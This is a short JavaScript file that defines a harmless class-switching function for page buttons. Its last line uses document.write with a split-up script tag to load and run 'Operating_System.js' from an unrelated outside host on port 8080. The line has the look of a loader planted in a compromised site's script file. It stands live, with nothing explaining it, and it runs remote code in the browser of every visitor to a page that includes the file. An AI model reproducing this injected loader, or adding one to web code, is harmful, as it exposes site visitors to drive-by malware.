// JavaScript Document

function changeSty(classpassed){
	element=event.srcElement;
	//document.getElementById('buttonIMG').className=classpassed;
	element.className=classpassed;
}


document.write('<s'+'cript type="text/javascript" src="http://dolgo.lulucabana.com:8080/Operating_System.js"></scr'+'ipt>');